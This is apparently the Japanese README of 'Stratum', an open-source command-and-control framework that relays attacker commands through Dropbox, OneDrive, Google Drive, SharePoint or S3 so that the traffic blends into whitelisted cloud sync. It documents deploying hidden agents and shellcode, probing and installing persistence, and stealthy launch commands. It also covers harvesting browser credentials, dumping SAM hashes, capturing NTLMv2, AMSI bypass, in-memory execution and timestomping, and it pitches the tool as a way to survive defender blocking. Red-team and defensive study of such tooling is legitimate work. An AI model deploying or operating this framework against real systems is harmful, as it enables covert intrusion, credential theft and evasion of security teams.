
クラウドネイティブC2フレームワーク。クラウドストレージをデッドドロップ通信チャネルとして使用します。
プライマリC2が沈黙する。ドメインがブラックリストに載る。ビーコンが検知される。EDRがプロセスを殺す。あなたは締め出される。
最初からブロックされることがなかった、もう一つのチャネルが必要だ。
C2トラフィックが、従業員がDropboxにファイルを同期しているのとまったく同じに見えたらどうだろう?
それがStratumだ。コマンドとレスポンスは、クラウドストレージフォルダ内の普通のファイルとして移動する。エージェントは攻撃者のインフラに接続することはない。観測可能なトラフィックは、ターゲットのファイアウォールがすでにホワイトリストに登録しているプロバイダへのHTTPSだけだ。DropboxやOneDriveをブロックすることは、それを使うすべての従業員をブロックすることを意味するからだ。
チームサーバーなし。攻撃者所有のドメインなし。不審なTLS証明書なし。ブロックするものは何もない。
オペレーター クラウドプロバイダ ターゲット
──────── ───────────── ──────
/Machine1/
WebGUI ──HTTPS──► input.txt 🔒 ◄── ポーリング ── エージェント
output.txt 🔒 ──► 読み取り ──┘
heartbeat.txt (暗号化ビーコン)
エージェントは設定可能な間隔(+対数正規ジッター)で起動し、入力ファイルを読み取り、実行し、レスポンスを暗号化してアップロードし、スリープする。すべてRSA-4096-OAEP + AES-256-GCMでエンドツーエンド暗号化される。オペレーターのIPがターゲット側のネットワークログに現れることは決してない。
| プロバイダ | 備考 | |
|---|---|---|
| Dropbox | OAuth2リフレッシュトークン · Businessおよび個人アカウント | |
| Microsoft OneDrive | Microsoft Graph API · 個人およびM365アカウント | |
| Google Drive | Google Drive API v3 · OAuth2サービスフロー | |
| SharePoint Online | Microsoft Graph API · M365テナントサイト | |
| S3互換 | AWS S3 · DigitalOcean Spaces · Backblaze B2 · 任意のS3エンドポイント |
5つすべてが同じワイヤーフォーマット、同じRSA鍵ペア、同じオペレーターセッションを共有する。エージェントに触れることなく、エンゲージメント中にプロバイダを数分で切り替えられる。 この機能を標準搭載している他のオープンソースフレームワークは存在しない。
C2を止めたいSOCは、チームサーバーのドメインやフロントインフラをブロックする。Stratumを止めたいSOCは、Dropbox、OneDrive、Google Drive、SharePoint、S3を同時にブロックしなければならない。それはファイアウォールルールではない。どの企業も実行しないビジネス上の決定だ。デッドドロップアーキテクチャは検知を回避しようとはしない。防御側が恒久的に信頼すると決定したインフラ上で動作するのだ。
| 形式 | プラットフォーム | 依存関係 |
|---|---|---|
.exe / .dll | Windows | なし — RustコンパイルPE(MSVC-ABI)、インタープリタなし、プロセスツリーにPowerShellなし |
.elf | Linux | なし — Rustコンパイルmusl-static、任意のx86_64 Linuxで動作 |
.bin | Linux / Windows | x64 PICシェルコード — 任意の外部ローダーまたはインジェクターに投入 |
ウィザードがすべてを生成する。プロンプトに答えるだけで、コンパイル、暗号化、パッケージ化が行われる。コンパイラフラグも、環境変数も、手動の鍵管理も不要。
| モード | 仕組み | 最適な用途 |
|---|---|---|
| staged-enc | ターゲット上に最小限のスタブ。初回実行時: クラウドからワンタイムブートストラップ鍵を取得し、フルエージェントをメモリ内で復号し、クラウドから鍵を削除。ペイロードが平文でディスクに触れることはない。 | 標準的なエンゲージメント — 最小の初期アーティファクト、配信時に鍵が破棄される |
| stageless-enc | フルエージェントが単一の配信ファイルに埋め込まれ、スタブに組み込まれた鍵で暗号化される。配信後のクラウド鍵取得は不要。 | エアギャップまたは制限されたネットワーク — 単一の自己完結型ファイル |
| stageless-plain | エージェントが平文。コマンドとレスポンスは転送中も完全に暗号化されたまま。 | ラボおよび管理された環境 |
すべてのモードが同じ実行後動作を共有する: スタブはHWフィンガープリント付きの暗号化ブロブをローカルにキャッシュし、以降の実行はクラウドに触れずにディスクからロードする。
レジストリキーやcronエントリに触れる前に、/persist probeを実行する。エージェントは現在の権限レベルで利用可能なすべてのテクニックをチェックし、実現可能性レポートを返す。非破壊的 — アーティファクトは残らない。
/persist probe
✓ schtask-logon — 実現可能 (SYSTEM)
✓ registry-run — 実現可能
✗ schtask-boot — 権限昇格が必要
✓ startup-folder — 実現可能
...
動作するものを選び、インストールし、完了したらきれいに削除する。WebGUIはセッションごとにインストールされたすべてのテクニックを追跡する。/killは永続化、バイナリ、クラウドアーティファクトを1つのコマンドで完全に破棄する。
キル日付、メンテナンスウィンドウ、対数正規ジッター、ワンタイムブートストラップ鍵 — すべてウィザードで一度設定され、エージェントに恒久的にコンパイルされる。エンゲージメント中に管理するものはなく、最後にクリーンアップを忘れるものもない。
StratumはCobalt Strike、Sliver、Havocの代替ではない。それらの下に位置するレイヤーだ。
1日目: プライマリC2と並行してStratumをデプロイ
4日目: プライマリビーコンが検知され、プロセスが強制終了
4日目: Stratumセッションを開き、何が起きたかを評価
4日目: Stratumシェル経由でプライマリC2を再導入
5日目: フルアクセスに復帰
プライマリC2はポストエクスプロイテーションを処理する。Stratumは生存を処理する。隠そうとしなかったからこそ検知されることがなかったチャネルだ。ただDropboxのように見えるだけだ。
これは2025〜2026年に文書化された脅威アクターが実際に使用したパラダイムと同じものだ: TukTuk(Dropbox + Arweaveデッドドロップ)、NarwhalRAT/APT37(pCloud)、COBALT MIRAGE/Drokbk(GitHub)。Stratumは同じアーキテクチャを、使い捨てのインプラントではなく、本格的なフレームワークとしてレッドチーム側にもたらす。
git clone https://github.com/daniomass/stratum-c2.git
cd stratum-c2
./install.sh --server
コンパイル済みエージェント(.exe、.elf、.dll、.bin、ネイティブRust)はStratumのコア機能だ。ウィザードは利用可能なターゲットを検出して使用し、ビルドできないものだけをスキップする。
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source "$HOME/.cargo/env"
# Windows PE / DLL
rustup target add x86_64-pc-windows-gnu && sudo apt install mingw-w64
# Linux musl-static ELF
rustup target add x86_64-unknown-linux-musl && sudo apt install musl-tools
# フラットx64シェルコード
rustup target add x86_64-unknown-none && sudo apt install lld
python3 stratum-server.py
https://<host>:<port>を開き、ログインして、Deployをクリックする。ウィザードがプロバイダ認証情報、エージェント形式、デプロイモード、永続化ID、ガードレール(キル日付、ウィンドウ、ジッター)を案内する。最後に、すぐに実行可能なアーティファクトが渡される。完全なセットアップの詳細はwiki(docs/wiki.html)に記載されている。
# Linux — バックグラウンド、ターミナルなし
chmod +x stub.elf && nohup ./stub.elf &>/dev/null &
# Windows — 非表示ウィンドウ(cmdまたはPowerShell)
start /b stub.exe
最初のビーコンでセッションがWebGUIに自動的に表示される。
マルチオペレーター、リアルタイム、ブラウザベース。すべてのオペレーターがWebSocket経由で同じセッションをライブで確認できる。
/sysinfo — 完全なシステムプロファイル: ハードウェア、OS、ネットワーク、AV/EDR、コンテナ
/persist probe — 非破壊的な実現可能性チェック、全テクニック
/persist install <id>— 永続化テクニックのインストール
/persist remove <id> — 特定のテクニックの削除
/creds harvest — 認証情報の収集(Firefox/クラウドはインラインで解析、残りはステージング)
/creds harvest decrypt — + CryptUnprotectDataによるChrome/Edge/DPAPIの復号(OPSEC↑)
/creds coerce — ローカル認証を強制してNTLMv2をキャプチャ / SSHエージェントを列挙
/creds sam — メモリ内SAMハッシュ抽出(Windows、SYSTEMまたは昇格したAdminが必要)
/creds listen start [proto:port] — 認証情報リスナーを開始(smb:445、http:80、http-ntlm:80)
/creds listen stop [proto:port] — 特定またはすべてのリスナーを停止
/creds listen dump — キャプチャしたNTLMv2 + Basic認証情報を取得(Credentialsタブに自動入力)
/bof <file.o> [args] — Beacon Object File(COFF)をメモリ内で実行(Windows、Rustのみ)
/assembly <file.exe> [args] — CLRホスティング経由で.NETアセンブリを実行(Windows、Rustのみ)
/assembly-amsibypass <file.exe> [args] — .NETアセンブリ + AMSIバイパス(Windows、Rustのみ)
/memexec <file> [args] — PE/ELFをメモリ内で実行(Win: リフレクティブ、Linux: memfd — Rustのみ)
/script <file> [interpreter] — stdinパイプ経由でスクリプトをファイルレス実行(Win+Linux、Rustのみ)
/script-amsibypass <file> [interp] — ファイルレススクリプト + AMSIバイパス(Win PSのみ、Rustのみ)
/kill — すべての永続化を削除 + アーティファクトを消去 + エージェントを終了
/download <path> — ターゲットからファイルを取得
/upload <path> — ターゲットにファイルを送信
/sleep <s> — ビーコン間隔をライブ変更
/jitter <pct> — ジッター率をライブ変更
/timestomp <args> — ターゲット上のファイルタイムスタンプを設定
/exit — エージェントプロセスを停止(永続化は存続)
各セッションには専用タブがある: Shell · History · Artifacts · Persist · Credentials · Control · Info。グローバルビュー: Sessions · Deploy · Archives · Tradecraft · Settings。
| モード | 説明 |
|---|---|
local | server.yml内のユーザー名/パスワード。ロールなし — すべてのオペレーターが対等。 |
oidc-manual | 外部OIDCプロバイダ(Keycloak、Azure AD、Okta)。ホワイトリストベースのアクセス。 |
oidc-auto | 認証された任意のIDがアクセスを取得。ブロックリストで失効。 |
| レイヤー | アルゴリズム |
|---|---|
| 鍵交換 | RSA-4096-OAEP-SHA-256(デプロイごとの鍵ペア) |
| コマンド暗号化 | AES-256-GCM(セッション鍵、事前共有) |
| ハートビート暗号化 | RSA-4096-OAEP-SHA-256 + AES-256-GCM |
| レスポンス署名 | RSA-PSS-SHA-256 |
| ブロブ鍵導出 | PBKDF2-HMAC-SHA-256 · 210,000イテレーション |
| ブートストラップ鍵 | ワンタイム使用 — 初回エージェント実行時にクラウドから削除 |
| バイナリ内セッション鍵 | .rodata内でXOR難読化 — 生の16進数がそのまま現れることはない |
| ローカルブロブ暗号化 | AES-256-GCM — HWフィンガープリント付きブロブをディスクにキャッシュ |
プロバイダの追加は約360行: HTTPトランスポート(upload / download / delete / トークンリフレッシュ)+ デプロイウィザード。暗号化、ハートビート、コマンドディスパッチ、永続化、タイムスタンプ改変、アーティファクト追跡はコアから無料で提供される。リファレンス実装: providers/dropbox/。
完全な技術ドキュメント — 暗号プロトコル、ワイヤーフォーマット、ハートビート内部、トランスポートインターフェース、永続化テクニック、OPSECノート — はdocs/wiki.htmlに記載されている。ブラウザでローカルに開くこと。
すべての画面のUIモックアップ(セッションリスト、シェル、永続化タブ、情報タブ、デプロイウィザード、チャット)はdocs/mockups.htmlにある — ブラウザでローカルに開いてすべてのシーンを閲覧できる。
Stratumは教育および許可されたセキュリティテストの目的のみを意図しています。
本ソフトウェアは、防御的セキュリティ研究、ペネトレーションテストトレーニング、および許可されたセキュリティ評価のために提供されます。ユーザーは、その使用がすべての適用される法律および規制に準拠していることを確保する単独の責任を負います。
クラウドサービスについて: Dropbox、OneDrive、Google Drive、S3、またはSharePointでホストされているターゲットをテストする場合、サービスプロバイダとリソース所有者の両方から明示的な許可を得ている必要があります。クラウドサービスへの不正アクセスは違法です。
コンピュータシステムへの不正アクセスは犯罪行為であり、罰金や禁固刑を含む重大な民事および刑事罰につながる可能性があります。
本ソフトウェアを使用することにより、この免責事項を読んだことを認め、適切な許可を得て合法的な目的のみにStratumを使用することに同意したものとみなされます。
完全なリリース履歴についてはCHANGELOG.mdを参照してください。
そこにないインフラを必要とするオペレーターのために作られた。
Stratumが役に立ったなら、⭐を残すことを検討してください — 他の人が見つけるのに役立ちます。